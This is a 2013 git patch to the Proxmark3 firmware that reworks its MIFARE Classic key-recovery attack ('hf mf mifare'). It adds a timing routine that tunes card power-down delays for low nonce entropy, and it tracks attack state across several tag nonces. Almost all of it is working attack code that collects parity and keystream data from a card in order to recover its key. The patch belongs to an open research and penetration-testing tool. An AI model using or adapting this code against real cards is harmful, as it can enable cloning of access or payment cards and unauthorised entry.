From 401afb61c7890af1407f261aace14b0241a4e28a Mon Sep 17 00:00:00 2001
From: "martin.holst@gmail.com"
<martin.holst@gmail.com@ef4ab9da-24cd-11de-8aaa-f3a34680c41f>
Date: Sat, 15 Jun 2013 10:21:39 +0000
Subject: [PATCH 1/1] Major changes to 'hf mf mifare', see discussion here :
http://www.proxmark.org/forum/viewtopic.php?pid=7492#p7492 . Support added
for tracking multiple NT to attack, plus support for 'MF-tuning' - finding
out what time the tag needs to power down (and reset nonce counter)
---
armsrc/iso14443a.c | 367 ++++++++++++++++++++++++++++++++++-----------
1 file changed, 281 insertions(+), 86 deletions(-)
diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c
index bbe748b0..0a5512b4 100644
--- a/armsrc/iso14443a.c
+++ b/armsrc/iso14443a.c
@@ -1811,18 +1811,220 @@ void ReaderIso14443a(UsbCommand * c)
LEDsoff();
}
+#define TEST_LENGTH 100
+typedef struct mftest{
+ uint8_t nt[8];
+ uint8_t count;
+}mftest ;
+
+/**
+ *@brief Tunes the mifare attack settings. This method checks the nonce entropy when
+ *using a specified timeout.
+ *Different cards behave differently, some cards require up to a second to power down (and thus reset
+ *token generator), other cards are fine with 50 ms.
+ *
+ * @param time
+ * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to
+ *zero indicates a low entropy: the given timeout is sufficient to power down the card.
+ */
+int TuneMifare(int time)
+{
+ // Mifare AUTH
+ uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
+ //uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
+ uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
+
+ iso14443a_setup();
+ int TIME1=time;
+ int TIME2=2000;
+ uint8_t uid[8];
+ uint32_t cuid;
+ byte_t nt[4];
+ Dbprintf("Tuning... testing a delay of %d ms",time);
+
+
+ mftest nt_values[TEST_LENGTH];
+ int nt_size = 0;
+ int i = 0;
+ for(i = 0 ; i< 100 ; i++)
+ {
+ LED_C_OFF();
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ SpinDelay(TIME1);
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
+ LED_C_ON();
+ SpinDelayUs(TIME2);
+ if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
+
+ // Transmit MIFARE_CLASSIC_AUTH
+ ReaderTransmit(mf_auth, sizeof(mf_auth));
+
+ // Receive the (16 bit) "random" nonce
+ if (!ReaderReceive(receivedAnswer)) continue;
+ memcpy(nt, receivedAnswer, 4);
+
+ //store it
+ int already_stored = 0;
+ for(int i = 0 ; i < nt_size && !already_stored; i++)
+ {
+ if( memcmp(nt, nt_values[i].nt, 4) == 0)
+ {
+ nt_values[i].count++;
+ already_stored = 1;
+ }
+ }
+ if(!already_stored)
+ {
+ mftest* ptr= &nt_values[nt_size++];
+ //Clear it before use
+ memset(ptr, 0, sizeof(mftest));
+ memcpy(ptr->nt, nt, 4);
+ ptr->count = 1;
+ }
+
+ if(BUTTON_PRESS())
+ {
+ Dbprintf("Tuning aborted prematurely");
+ break;
+ }
+ }
+ /*
+ for(int i = 0 ; i < nt_size;i++){
+ mftest x = nt_values[i];
+ Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count);
+ }
+ */
+ int result = nt_size *100 / i;
+ Dbprintf(" ... results for %d ms : %d %",time, result);
+ return result;
+}
+
//-----------------------------------------------------------------------------
// Read an ISO 14443a tag. Send out commands and store answers.
//
//-----------------------------------------------------------------------------
+#define STATE_SIZE 100
+typedef struct AttackState{
+ byte_t nt[4];
+ //byte_t nt_attacked[4];
+ byte_t par_list[8];
+ byte_t ks_list[8];
+ byte_t par;
+ byte_t par_low;
+ byte_t nt_diff;
+ uint8_t mf_nr_ar[8];
+} AttackState;
+
+
+int continueAttack(AttackState* pState,uint8_t* receivedAnswer)
+{
+
+ // Transmit reader nonce and reader answer
+ ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par);
+
+ // Receive 4 bit answer
+ int len = ReaderReceive(receivedAnswer);
+ if (!len)
+ {
+ if (pState->nt_diff == 0)
+ {
+ pState->par++;
+ } else {
+ pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low;
+ }
+ return 2;
+ }
+ if(pState->nt_diff == 0)
+ {
+ pState->par_low = pState->par & 0x07;
+ }
+ //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4));
+ //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
+ //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
+ //
+ // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue;
+
+ //led_on = !led_on;
+ //if(led_on) LED_B_ON(); else LED_B_OFF();
+ pState->par_list[pState->nt_diff] = pState->par;
+ pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05;
+
+ // Test if the information is complete
+ if (pState->nt_diff == 0x07) {
+ return 0;
+ }
+
+ pState->nt_diff = (pState->nt_diff + 1) & 0x07;
+ pState->mf_nr_ar[3] = pState->nt_diff << 5;
+ pState->par = pState->par_low;
+ return 1;
+}
+
+void reportResults(uint8_t uid[8],AttackState *pState, int isOK)
+{
+ LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE);
+ LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE);
+ LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE);
+
+ byte_t buf[48];
+ memcpy(buf + 0, uid, 4);
+ if(pState != NULL)
+ {
+ memcpy(buf + 4, pState->nt, 4);
+ memcpy(buf + 8, pState->par_list, 8);
+ memcpy(buf + 16, pState->ks_list, 8);
+ }
+
+ LED_B_ON();
+ cmd_send(CMD_ACK,isOK,0,0,buf,48);
+ LED_B_OFF();
+
+ // Thats it...
+ FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
+ LEDsoff();
+ tracing = TRUE;
+
+ if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
+}
+
+
+
+
void ReaderMifare(uint32_t parameter)
{
+ /**
+ *First, we tune it.
+ **/
+ int entropy = 100;
+ int time = 25;
+ entropy = TuneMifare(time);
+
+ while(entropy > 50 && time < 2000){
+ //Increase timeout, but never more than 500ms at a time
+ time = MIN(time*2, time+500);
+ entropy = TuneMifare(time);
+ }
+
+ if(entropy > 50){
+ Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy);
+ }
+ Dbprintf("Using power-down-time of %d ms, entropy %d", time, entropy);
+
+ /**
+ *Allocate our state-table and initialize with zeroes
+ **/
+
+
+ AttackState states[STATE_SIZE] ;
+
+
+ Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) );
+ memset(states, 0, STATE_SIZE*sizeof(AttackState));
// Mifare AUTH
uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b };
- uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
-
uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes
- traceLen = 0;
+
+ traceLen = 0;
tracing = false;
iso14443a_setup();
@@ -1831,37 +2033,26 @@ void ReaderMifare(uint32_t parameter)
LED_B_OFF();
LED_C_OFF();
- byte_t nt_diff = 0;
LED_A_OFF();
- byte_t par = 0;
- //byte_t par_mask = 0xff;
- byte_t par_low = 0;
- int led_on = TRUE;
uint8_t uid[8];
uint32_t cuid;
- tracing = FALSE;
- byte_t nt[4] = {0,0,0,0};
- byte_t nt_attacked[4], nt_noattack[4];
- byte_t par_list[8] = {0,0,0,0,0,0,0,0};
- byte_t ks_list[8] = {0,0,0,0,0,0,0,0};
- num_to_bytes(parameter, 4, nt_noattack);
- int isOK = 0, isNULL = 0;
-
- while(TRUE)
+ byte_t nt_noattack[4];
+ num_to_bytes(parameter, 4, nt_noattack);
+ byte_t nt[4];
+ int nts_attacked= 0;
+ //Keeps track of progress (max value of nt_diff for our states)
+ int progress = 0;
+ int high_entropy_warning_issued = 0;
+ while(!BUTTON_PRESS())
{
LED_C_OFF();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- SpinDelay(50);
+ SpinDelay(time);
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
LED_C_ON();
SpinDelay(2);
- // Test if the action was cancelled
- if(BUTTON_PRESS()) {
- break;
- }
-
if(!iso14443a_select_card(uid, NULL, &cuid)) continue;
// Transmit MIFARE_CLASSIC_AUTH
@@ -1869,76 +2060,80 @@ void ReaderMifare(uint32_t parameter)
// Receive the (16 bit) "random" nonce
if (!ReaderReceive(receivedAnswer)) continue;
- memcpy(nt, receivedAnswer, 4);
-
- // Transmit reader nonce and reader answer
- ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar),par);
-
- // Receive 4 bit answer
- if (ReaderReceive(receivedAnswer))
- {
- if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue;
-
- isNULL = !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0);
- if ( (isNULL != 0 ) && (memcmp(nt, nt_attacked, 4) != 0) ) continue;
-
- if (nt_diff == 0)
- {
- LED_A_ON();
- memcpy(nt_attacked, nt, 4);
- //par_mask = 0xf8;
- par_low = par & 0x07;
- }
+ memcpy(nt, receivedAnswer, 4);
+
+ //Now we have the NT. Check if this NT is already under attack
+ AttackState* pState = NULL;
+ int i = 0;
+ for(i = 0 ; i < nts_attacked && pState == NULL; i++)
+ {
+ if( memcmp(nt, states[i].nt, 4) == 0)
+ {
+ //we have it
+ pState = &states[i];
+ //Dbprintf("Existing state found (%d)", i);
+ }
+ }
- led_on = !led_on;
- if(led_on) LED_B_ON(); else LED_B_OFF();
- par_list[nt_diff] = par;
- ks_list[nt_diff] = receivedAnswer[0] ^ 0x05;
+ if(pState == NULL){
+ if(nts_attacked < STATE_SIZE )
+ {
+ //Initialize a new state
+ pState = &states[nts_attacked++];
+ //Clear it before use
+ memset(pState, 0, sizeof(AttackState));
+ memcpy(pState->nt, nt, 4);
+ i = nts_attacked;
+ //Dbprintf("New state created, nt=");
+ }else if(!high_entropy_warning_issued){
+ /**
+ *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by
+ *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce
+ *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting
+ *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish.
+ */
+ DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)");
+ high_entropy_warning_issued = 1;
+ }
+ }
- // Test if the information is complete
- if (nt_diff == 0x07) {
- isOK = 1;
- break;
- }
- nt_diff = (nt_diff + 1) & 0x07;
- mf_nr_ar[3] = nt_diff << 5;
- par = par_low;
- } else {
- if (nt_diff == 0)
- {
- par++;
- } else {
- par = (((par >> 3) + 1) << 3) | par_low;
- }
- }
- }
- LogTrace(nt, 4, 0, GetParity(nt, 4), TRUE);
- LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE);
- LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE);
+ if(pState == NULL) continue;
- byte_t buf[48];
-// UsbCommand ack = {CMD_ACK, {isOK, 0, 0}};
- memcpy(buf + 0, uid, 4);
- memcpy(buf + 4, nt, 4);
- memcpy(buf + 8, par_list, 8);
- memcpy(buf + 16, ks_list, 8);
-
- LED_B_ON();
- cmd_send(CMD_ACK,isOK,0,0,buf,48);
-// UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand));
- LED_B_OFF();
+ int result = continueAttack(pState, receivedAnswer);
- // Thats it...
- FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
- LEDsoff();
- tracing = TRUE;
-
- if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED");
+ if(result == 1){
+ //One state progressed another step
+ if(pState->nt_diff > progress)
+ {
+ progress = pState->nt_diff;
+ //Alert the user
+ Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked );
+ }
+ //Dbprintf("State increased to %d in state %d", pState->nt_diff, i);
+ }
+ else if(result == 2){
+ //Dbprintf("Continue attack no answer, par is now %d", pState->par);
+ }
+ else if(result == 0){
+ //uint64_t par_list = bytes_to_num((uint8_t*)&pState->par_list, 8);
+ //uint64_t ks_list = bytes_to_num((uint8_t*)&pState->ks_list, 8);
+ //uint32_t xnt = bytes_to_num((uint8_t*)&pState->nt,4 );
+ //uint32_t xuid = (uint32_t)bytes_to_num((uint8_t*)&uid, 4);
+ //Dbprintf("\n#nuid(%08x) nt(%08x) par(%016x) ks(%016x)",xuid,xnt,par_list,ks_list);
+ //Dbprintf("\n./nonce2key %08x %08x %016x %016x\n",xuid,xnt,par_list,ks_list);
+ //Dbprintf("Finished");
+ reportResults(uid,pState,1);
+ return;
+ //memset(pState, 0, sizeof(AttackState));
+ //memcpy(pState->nt, nt, 4);
+ //Dbprintf("State reset for state %d!", i);
+ //return;
+ }
+ }
+ reportResults(uid,NULL,0);
}
-
-
//-----------------------------------------------------------------------------
// MIFARE 1K simulate.
//
--
2.39.5